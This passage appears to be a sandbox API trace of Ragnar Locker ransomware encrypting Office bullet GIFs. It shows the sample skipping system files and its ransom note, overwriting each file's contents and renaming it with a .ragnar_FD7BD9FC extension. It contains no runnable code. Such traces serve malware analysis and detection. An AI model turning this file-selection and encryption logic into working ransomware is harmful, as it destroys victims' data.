Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF") returned=".GIF" [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="autorun.inf") returned 1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="boot.ini") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="bootfont.bin") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="bootsect.bak") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="bootmgr") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="bootmgr.efi") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="desktop.ini") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="iconcache.db") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="ntldr") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="ntuser.dat") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="ntuser.ini") returned -1 [0099.625] lstrcmpiW (lpString1="BD15171_.GIF", lpString2="thumbs.db") returned -1 [0099.625] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.625] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.625] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.625] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.625] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.625] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.625] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.625] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif")) returned 0x20 [0099.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.626] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=145) returned 1 [0099.626] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.626] GetProcessHeap () returned 0x580000 [0099.626] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.626] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.627] VirtualAlloc (lpAddress=0x0, dwSize=0x91, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.627] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.627] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.627] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x91, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x91, lpOverlapped=0x0) returned 1 [0099.627] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.627] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x91, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.627] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x91, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x91, lpOverlapped=0x0) returned 1 [0099.627] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x91, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.627] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.628] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.628] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.628] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.628] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.628] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.628] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.628] GetProcessHeap () returned 0x580000 [0099.628] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.628] CloseHandle (hObject=0x10c) returned 1 [0099.628] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" [0099.628] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF.ragnar_FD7BD9FC" [0099.628] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.630] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf2be700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcf2be700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15172_.GIF", cAlternateFileName="")) returned 1 [0099.630] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.630] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15172_.GIF" | out: lpString1="BD15172_.GIF") returned="BD15172_.GIF" [0099.630] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF") returned=".GIF" [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="autorun.inf") returned 1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="boot.ini") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="bootfont.bin") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="bootsect.bak") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="bootmgr") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="bootmgr.efi") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="desktop.ini") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="iconcache.db") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="ntldr") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="ntuser.dat") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="ntuser.ini") returned -1 [0099.630] lstrcmpiW (lpString1="BD15172_.GIF", lpString2="thumbs.db") returned -1 [0099.630] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.630] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.630] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.630] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.630] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.630] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.630] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif")) returned 0x20 [0099.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.631] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=304) returned 1 [0099.631] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x127, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.631] GetProcessHeap () returned 0x580000 [0099.631] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.631] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.632] VirtualAlloc (lpAddress=0x0, dwSize=0x130, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.632] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.632] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.632] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x130, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x130, lpOverlapped=0x0) returned 1 [0099.632] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.632] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x130, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.632] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x130, lpOverlapped=0x0) returned 1 [0099.632] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x130, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.632] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.633] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.633] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.633] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.633] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.633] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.633] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.633] GetProcessHeap () returned 0x580000 [0099.633] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.633] CloseHandle (hObject=0x10c) returned 1 [0099.633] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" [0099.633] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF.ragnar_FD7BD9FC" [0099.633] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.634] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a44f00, ftCreationTime.dwHighDateTime=0x1bd4f40, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x77a44f00, ftLastWriteTime.dwHighDateTime=0x1bd4f40, nFileSizeHigh=0x0, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15173_.GIF", cAlternateFileName="")) returned 1 [0099.634] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.634] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15173_.GIF" | out: lpString1="BD15173_.GIF") returned="BD15173_.GIF" [0099.634] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF") returned=".GIF" [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="autorun.inf") returned 1 [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="boot.ini") returned -1 [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="bootfont.bin") returned -1 [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="bootsect.bak") returned -1 [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="bootmgr") returned -1 [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="bootmgr.efi") returned -1 [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.634] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="desktop.ini") returned -1 [0099.635] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="iconcache.db") returned -1 [0099.635] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="ntldr") returned -1 [0099.635] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="ntuser.dat") returned -1 [0099.635] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.635] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="ntuser.ini") returned -1 [0099.635] lstrcmpiW (lpString1="BD15173_.GIF", lpString2="thumbs.db") returned -1 [0099.635] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.635] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.635] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.635] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.635] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.635] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.635] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif")) returned 0x20 [0099.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.636] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=138) returned 1 [0099.636] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x81, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.636] GetProcessHeap () returned 0x580000 [0099.636] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.636] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.637] VirtualAlloc (lpAddress=0x0, dwSize=0x8a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.637] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.637] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.637] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x8a, lpOverlapped=0x0) returned 1 [0099.638] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.638] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8a, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.638] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x8a, lpOverlapped=0x0) returned 1 [0099.638] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.638] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.638] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.638] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.638] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.638] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.638] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.638] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.638] GetProcessHeap () returned 0x580000 [0099.638] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.639] CloseHandle (hObject=0x10c) returned 1 [0099.639] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" [0099.639] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF.ragnar_FD7BD9FC" [0099.642] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.684] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb476800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb476800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15272_.GIF", cAlternateFileName="")) returned 1 [0099.684] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.684] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15272_.GIF" | out: lpString1="BD15272_.GIF") returned="BD15272_.GIF" [0099.684] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF") returned=".GIF" [0099.684] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.684] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="autorun.inf") returned 1 [0099.684] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="boot.ini") returned -1 [0099.684] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="bootfont.bin") returned -1 [0099.684] lstrcmpiW (lpString1="BD15272_.GIF", lpString2="bootsect.bak") returned -1 [0099.684] 